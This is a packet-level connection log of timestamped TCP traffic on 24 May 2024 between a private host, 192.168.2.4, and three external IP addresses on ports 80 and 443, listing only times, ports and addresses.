May 24, 2024 09:42:05.787672997 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.787704945 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.787704945 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.788427114 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.788474083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.788623095 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.788666964 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.788744926 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.788759947 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.788789034 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.788819075 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.788966894 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789117098 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.789129972 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.789139032 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.789220095 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789272070 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.789459944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789483070 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789495945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789526939 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.789526939 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.789557934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.789606094 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.789865017 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.789917946 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.789922953 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790091991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.790138960 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790250063 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.790349960 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.790365934 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.790380001 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.790394068 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.790406942 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790406942 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790440083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790440083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.790972948 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.791219950 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.791273117 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.791459084 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.791474104 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.791487932 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.791523933 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.792094946 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792133093 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.792161942 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.792278051 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792293072 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792340040 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.792536974 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792552948 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792602062 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.792944908 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.792992115 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.793098927 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.793339014 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.793354034 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.793387890 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.793417931 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.793775082 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.793982983 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.794032097 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.797755957 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.797770023 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.797825098 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.824825048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.825556040 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.830573082 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.843552113 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.843693972 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.843730927 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.843807936 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.843837976 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.843863964 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844022036 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844059944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844094038 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844115019 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844125986 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844136000 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844158888 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844176054 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844212055 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844667912 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844702005 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.844722986 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.844741106 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845083952 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845118046 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845139027 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845149040 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845158100 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845202923 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845542908 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845576048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845597982 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845608950 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845618010 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845640898 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.845658064 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.845690012 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.848134041 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.848191023 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.867063999 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.867141962 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.867336035 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.867607117 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.868165970 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.868223906 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.868227959 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.868254900 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.868268013 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.868299961 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.868879080 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.868968010 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.869012117 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.869061947 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.869826078 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.869873047 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.869923115 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.869968891 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.870843887 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.870898008 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.870943069 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.870989084 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.871654987 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.871707916 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.871803045 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.871905088 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.872967958 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.873003960 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873016119 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.873033047 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873076916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873076916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873258114 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.873291969 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.873315096 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.873323917 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873332977 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.873373032 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873744011 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873776913 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873794079 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873809099 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873816967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873842001 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.873850107 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.873884916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874233007 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874265909 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874286890 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874298096 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874309063 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874351978 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874759912 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874793053 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874814034 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874825001 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874831915 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874856949 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874878883 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874887943 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.874902964 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.874939919 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.875446081 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875478029 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875503063 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.875509977 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875519991 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.875544071 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875576019 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875601053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.875607014 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.875618935 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.875654936 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876229048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876261950 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876285076 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876307964 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876605988 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876638889 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876660109 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876671076 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876678944 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876703024 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876710892 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876734018 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876753092 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.876765966 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.876820087 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.877371073 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.877403975 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.877423048 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.877461910 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.877480030 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.877526999 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.887506962 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.887564898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.887751102 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.887799978 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.887859106 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.887902975 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.888567924 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.888601065 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.888616085 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.888642073 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.889342070 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.889391899 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.889425993 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.889471054 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.890136003 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.890194893 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.890234947 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.890280962 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.890947104 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.890996933 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.891045094 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.891093969 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.891730070 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.891777992 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.892462015 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.892496109 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.892504930 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.892528057 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.892574072 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.893284082 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.893336058 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.893369913 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.893414974 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.894085884 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.894135952 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.897337914 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.897371054 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.897388935 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.897408962 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.902615070 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.902743101 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.902987003 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903033018 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903083086 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903115034 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903129101 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903153896 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903295040 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903347015 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903549910 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903583050 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903604031 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903614998 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903628111 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.903649092 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.903701067 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904124022 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904176950 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904273987 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904324055 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904546976 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904580116 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904598951 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904611111 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904628992 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904644012 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.904664993 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.904685020 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905133009 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905167103 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905186892 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905198097 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905209064 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905251026 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905706882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905740976 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905761957 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905771971 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.905781984 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.905818939 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.906327963 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.906361103 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.906392097 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.906409979 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.906424999 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.906446934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.906457901 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.906506062 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.907078981 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.907145977 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.907342911 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.907377005 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.907407999 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.907408953 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.907429934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.907442093 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.907458067 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908126116 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908158064 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908189058 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908191919 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908216000 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908220053 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908238888 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908252954 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908258915 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908297062 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.908941984 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.908974886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909006119 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909007072 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909025908 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909038067 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909045935 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909085035 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909725904 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909758091 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909785986 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909791946 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909811020 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909818888 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909849882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909867048 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909881115 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.909889936 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.909934998 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.910378933 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.910412073 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.910434961 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.910444021 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.910451889 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.910475016 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.910494089 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.910526991 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.910540104 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.910598040 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.911678076 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.911740065 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.911751032 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.911804914 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.911942005 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.911995888 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.912071943 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912105083 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912158966 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.912430048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912462950 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912492990 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912498951 CEST	49736	80	192.168.2.4	91.202.233.232
